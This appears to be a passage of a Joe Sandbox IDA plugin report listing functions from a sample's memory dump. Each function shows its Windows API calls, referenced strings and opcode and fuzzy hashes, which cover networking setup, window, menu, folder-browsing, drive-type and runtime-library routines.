Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 6c7b1b1b1dd38c8b204a2bef02a0cf0893477ba635478762a36a5958503e8e83
Instruction ID: 0242601d88b75fdb1c8d24fba5cd5c1d19f2cf5b6ac74d9a7b87f2a956e8354d
Opcode Fuzzy Hash: 6c7b1b1b1dd38c8b204a2bef02a0cf0893477ba635478762a36a5958503e8e83
Instruction Fuzzy Hash: 31114C21A9012E6DE720B765CC5ADFF6A7DEBD9B40F90052AB402A31D1FEA00945C6A0

Function 006346B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 006346D2
gethostname.WSOCK32(?,00000100), ref: 006346EC
gethostbyname.WSOCK32(?), ref: 006346F9
_wcscpy.LIBCMT ref: 00634721
_memmove.LIBCMT ref: 00634734
inet_ntoa.WSOCK32(?), ref: 0063473F
_strcat.LIBCMT ref: 0063474D
_wcscpy.LIBCMT ref: 00634764
WSACleanup.WSOCK32 ref: 00634772
_wcscpy.LIBCMT ref: 00634780

Strings

0.0.0.0, xrefs: 0063471B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 59e5779a9cbc1ae61f883df41943bfb1b47fe2e5eefc9bf61b975a5a0200d465
Instruction ID: 594c4040720233c715a8c6b231523e5d59837f66c29e5c0263297184eb917787
Opcode Fuzzy Hash: 59e5779a9cbc1ae61f883df41943bfb1b47fe2e5eefc9bf61b975a5a0200d465
Instruction Fuzzy Hash: 3511E7315042196FCB14AB309C4AEEABBBDEF42712F0401B6F545D6191FF7599818A90

Function 00634F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00634F7A

Part of subcall function 005F049F: timeGetTime.WINMM(?,7707B400,005E0E7B), ref: 005F04A3

Sleep.KERNEL32(0000000A), ref: 00634FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00634FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00634FEC
SetActiveWindow.USER32 ref: 0063500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00635019
SendMessageW.USER32(00000010,00000000,00000000), ref: 00635038
Sleep.KERNEL32(000000FA), ref: 00635043
IsWindow.USER32 ref: 0063504F
EndDialog.USER32(00000000), ref: 00635060

Strings

BUTTON, xrefs: 00634FDE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 50905d8d350ad42967f0193de2a9258b2ce091187579eadcb99be798983d77b8
Instruction ID: 93e9681d968ae63741ae2980ff265e4201cf40e9e19fae4757c6db5461f8a3c1
Opcode Fuzzy Hash: 50905d8d350ad42967f0193de2a9258b2ce091187579eadcb99be798983d77b8
Instruction Fuzzy Hash: 8D219670204705AFE7119F20EC89A663BAFEB46746F0A3029F102826B1DB729D5087F1

Function 0063D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

CoInitialize.OLE32(00000000), ref: 0063D5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0063D67D
SHGetDesktopFolder.SHELL32(?), ref: 0063D691
CoCreateInstance.OLE32(00662D7C,00000000,00000001,00688C1C,?), ref: 0063D6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0063D74C
CoTaskMemFree.OLE32(?,?), ref: 0063D7A4
_memset.LIBCMT ref: 0063D7E1
SHBrowseForFolderW.SHELL32(?), ref: 0063D81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0063D840
CoTaskMemFree.OLE32(00000000), ref: 0063D847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0063D87E
CoUninitialize.OLE32(00000001,00000000), ref: 0063D880

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 6a7ac2e1fab5d4ff9dd5a75d6a8ea7572392ece7ff79fa683014c5f823a71136
Instruction ID: c2ff00a46fa89268af75a4efe310e28dd422f8c2e30f7629bc137eaa0880a20c
Opcode Fuzzy Hash: 6a7ac2e1fab5d4ff9dd5a75d6a8ea7572392ece7ff79fa683014c5f823a71136
Instruction Fuzzy Hash: 46B1EB75A00109AFDB14DFA8D889DAEBBBAFF49314F148469F909EB251DB30ED41CB50

Function 0062C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0062C283
GetWindowRect.USER32(00000000,?), ref: 0062C295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0062C2F3
GetDlgItem.USER32(?,00000002), ref: 0062C2FE
GetWindowRect.USER32(00000000,?), ref: 0062C310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0062C364
GetDlgItem.USER32(?,000003E9), ref: 0062C372
GetWindowRect.USER32(00000000,?), ref: 0062C383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0062C3C6
GetDlgItem.USER32(?,000003EA), ref: 0062C3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0062C3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 0062C3FE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 0c5eec5da70b97e1e0dc101ef25fe5efb9b69f6814d6b759ea1458642b965532
Instruction ID: 46d1910b94d47ca8d9a9896406fcf29d2189de82811bdbbbbcc54afb74cf973d
Opcode Fuzzy Hash: 0c5eec5da70b97e1e0dc101ef25fe5efb9b69f6814d6b759ea1458642b965532
Instruction Fuzzy Hash: 5E514071B00705AFDB18CFA9DD99AAEBBBAEB88711F14852DF515D7290DB709D008B10

Function 005D201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 005D1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,005D2036,?,00000000,?,?,?,?,005D16CB,00000000,?), ref: 005D1B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 005D20D3
KillTimer.USER32(-00000001,?,?,?,?,005D16CB,00000000,?,?,005D1AE2,?,?), ref: 005D216E
DestroyAcceleratorTable.USER32(00000000), ref: 0060BCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005D16CB,00000000,?,?,005D1AE2,?,?), ref: 0060BCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005D16CB,00000000,?,?,005D1AE2,?,?), ref: 0060BCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005D16CB,00000000,?,?,005D1AE2,?,?), ref: 0060BD0A
DeleteObject.GDI32(00000000), ref: 0060BD1C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: c6cf30df4f8b09d4b93600dc29dce7783c159bb4402b553ec1c07cffb33b8b14
Instruction ID: 9c98169db538ee08d2290b0dd823244cbdf5ede0ce37d0f3a4d0d59a7ab36df2
Opcode Fuzzy Hash: c6cf30df4f8b09d4b93600dc29dce7783c159bb4402b553ec1c07cffb33b8b14
Instruction Fuzzy Hash: 23616E31101B11DFDB3AEF18D958B26BBF3FF50312F14A52BE5528AAA0C771A891DB50

Function 005D21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 005D25DB: GetWindowLongW.USER32(?,000000EB), ref: 005D25EC

GetSysColor.USER32(0000000F), ref: 005D21D3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 03f97d7223c1a847bd3ac153688801d4fb0e8fa4b72a3551c63e78ab67a77e5d
Instruction ID: fdc04bb22a06730627d06c3a05b172bc17fc4ed11267c958649bf7b5c544adb6
Opcode Fuzzy Hash: 03f97d7223c1a847bd3ac153688801d4fb0e8fa4b72a3551c63e78ab67a77e5d
Instruction Fuzzy Hash: D6418F350046409BDB359F2CEC88BB93B66FB26331F149267FE658A2E5D7318C42DB21

Function 0063A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0065F910), ref: 0063A90B
GetDriveTypeW.KERNEL32(00000061,006889A0,00000061), ref: 0063A9D5
_wcscpy.LIBCMT ref: 0063A9FF

Strings

removable, xrefs: 0063A93D
network, xrefs: 0063A969
all, xrefs: 0063A911
unknown, xrefs: 0063A996
cdrom, xrefs: 0063A927
fixed, xrefs: 0063A953
ramdisk, xrefs: 0063A97F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: d8b141ba99388440fedf45e709916758998def2f0a1b28de9b02187aff1834b9
Instruction ID: 3793358bbc49655f3919ec6fc0e61e9b8ea920ea8b99d647967301c2c56e5d56
Opcode Fuzzy Hash: d8b141ba99388440fedf45e709916758998def2f0a1b28de9b02187aff1834b9
Instruction Fuzzy Hash: 7D519E311183029FC710EF58C996AAEBBA6FF84300F54492EF5D5972E2DB319909DB93

Function 005D9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 005D9862
__swprintf.LIBCMT ref: 005D98AC
__i64tow.LIBCMT ref: 0060F5E6

Strings

%.15g, xrefs: 005D98A6
False, xrefs: 0060F5AE
True, xrefs: 0060F5A7
0x%p, xrefs: 0060F5C8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 61b5d1940cd93b659d1aea5f25f4c5226db6b5d945929a1ab54add9e4ac7ba5a
Instruction ID: 67a44ae8c2f903ec86d325a3e2b4c3da447504c37f609afb9c8241b83c1b99d1
Opcode Fuzzy Hash: 61b5d1940cd93b659d1aea5f25f4c5226db6b5d945929a1ab54add9e4ac7ba5a
Instruction Fuzzy Hash: AB41E77150020A9EEB39EF38DC46A767BEAFF45700F20486FE549D7392EA3599419710

Function 00657152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0065716A
CreateMenu.USER32 ref: 00657185
SetMenu.USER32(?,00000000), ref: 00657194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00657221
IsMenu.USER32(?), ref: 00657237
CreatePopupMenu.USER32 ref: 00657241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0065726E
DrawMenuBar.USER32 ref: 00657276

Strings

0, xrefs: 00657160
F, xrefs: 00657262

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 4ea4d81931643585668dfabc38a83ecd73ec4425acb5fa4332e30ad2d598e98f
Instruction ID: 89bf06af62e5c62ae586ab4409b08557541245a5525740eb5f61057a6876d6bb
Opcode Fuzzy Hash: 4ea4d81931643585668dfabc38a83ecd73ec4425acb5fa4332e30ad2d598e98f
Instruction Fuzzy Hash: 3F413774A01305EFDB20DF64E944E9A7BBAFF48351F144029FD4597361D731AA14CB90

Function 006574BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0065755E
CreateCompatibleDC.GDI32(00000000), ref: 00657565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00657578
SelectObject.GDI32(00000000,00000000), ref: 00657580
GetPixel.GDI32(00000000,00000000,00000000), ref: 0065758B
DeleteDC.GDI32(00000000), ref: 00657594
GetWindowLongW.USER32(?,000000EC), ref: 0065759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 006575B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 006575BE

Strings

static, xrefs: 006574F6

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: fabf21b86d031d492ed086a3a9a9eb221eb426b67037fd010909af3113e26e40
Instruction ID: b49eab4559107bcf0deaff7fd4ddd0ea53d5b33ba519480ceae8c64d58a85386
Opcode Fuzzy Hash: fabf21b86d031d492ed086a3a9a9eb221eb426b67037fd010909af3113e26e40
Instruction Fuzzy Hash: 5D317E72104215BBDF229F64EC08FDB3BAEFF09322F111225FA15961A0DB71D825DBA4

Function 005F6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F6E3E

Part of subcall function 005F8B28: __getptd_noexit.LIBCMT ref: 005F8B28

__gmtime64_s.LIBCMT ref: 005F6ED7
__gmtime64_s.LIBCMT ref: 005F6F0D
__gmtime64_s.LIBCMT ref: 005F6F2A
__allrem.LIBCMT ref: 005F6F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005F6F9C
__allrem.LIBCMT ref: 005F6FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005F6FD1
__allrem.LIBCMT ref: 005F6FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005F7006
__invoke_watson.LIBCMT ref: 005F7077

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: 302313b7ec9a6259c4764b369e16038cf286fa5d4cbaea6b9d8f1d83aa1d90d1
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 0871E476A4071BABD714AE68DC45B7BBBADBF04324F144629F714D72C1EB78E9008B90

Function 00632527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00632542
GetMenuItemInfoW.USER32(00695890,000000FF,00000000,00000030), ref: 006325A3
SetMenuItemInfoW.USER32(00695890,00000004,00000000,00000030), ref: 006325D9
Sleep.KERNEL32(000001F4), ref: 006325EB
GetMenuItemCount.USER32(?), ref: 0063262F
GetMenuItemID.USER32(?,00000000), ref: 0063264B
GetMenuItemID.USER32(?,-00000001), ref: 00632675
GetMenuItemID.USER32(?,?), ref: 006326BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00632700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00632714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00632735

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 26390ee784933e567e84a47e79ded6d0c384fbf1a35009ed107e990f6718b30c
Instruction ID: 683598c1251876a54b85c47c7d85170c1c02575ee413b8e5fa9cc9c790141701
Opcode Fuzzy Hash: 26390ee784933e567e84a47e79ded6d0c384fbf1a35009ed107e990f6718b30c
Instruction Fuzzy Hash: A5618DB090024AAFDB21CF64DCA9DFE7BBAFF46304F140059E942A7251D731AE05DBA1

Function 00656F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00656FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00656FA8
GetWindowLongW.USER32(?,000000F0), ref: 00656FCC
_memset.LIBCMT ref: 00656FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00656FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00657067

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 3d9da21660bf221653b6f5dc2615420fa67b61609965e98cb890455b8325f8fd
Instruction ID: c4ad83029f14fe58cdc6d27ce653eafb5437d96022f58e347499d0dfd6d469e4
Opcode Fuzzy Hash: 3d9da21660bf221653b6f5dc2615420fa67b61609965e98cb890455b8325f8fd
Instruction Fuzzy Hash: F4619C71900208AFDB21DFA4DD81EEE77FAEB09700F14015AFA15AB3A1C771AE45DB90

Function 00626B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00626BBF
SafeArrayAllocData.OLEAUT32(?), ref: 00626C18
VariantInit.OLEAUT32(?), ref: 00626C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00626C4A
VariantCopy.OLEAUT32(?,?), ref: 00626C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00626CB1
VariantClear.OLEAUT32(?), ref: 00626CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 00626CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00626CDC
VariantClear.OLEAUT32(?), ref: 00626CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00626CF9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: d6cd8aacf5487cd06d16434d3749f60078962018fda406eb15e7dbaed5ca9645
Instruction ID: 8b5f216638a887aa187e3305a1b92619c5fe8bfbf6b5c310af953b9c06b420c4
Opcode Fuzzy Hash: d6cd8aacf5487cd06d16434d3749f60078962018fda406eb15e7dbaed5ca9645
Instruction Fuzzy Hash: F1413075A002299FCF10EF68D8489AEBBBAFF48355F008069F955E7361CB31A945CF90

Function 00645732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00645793
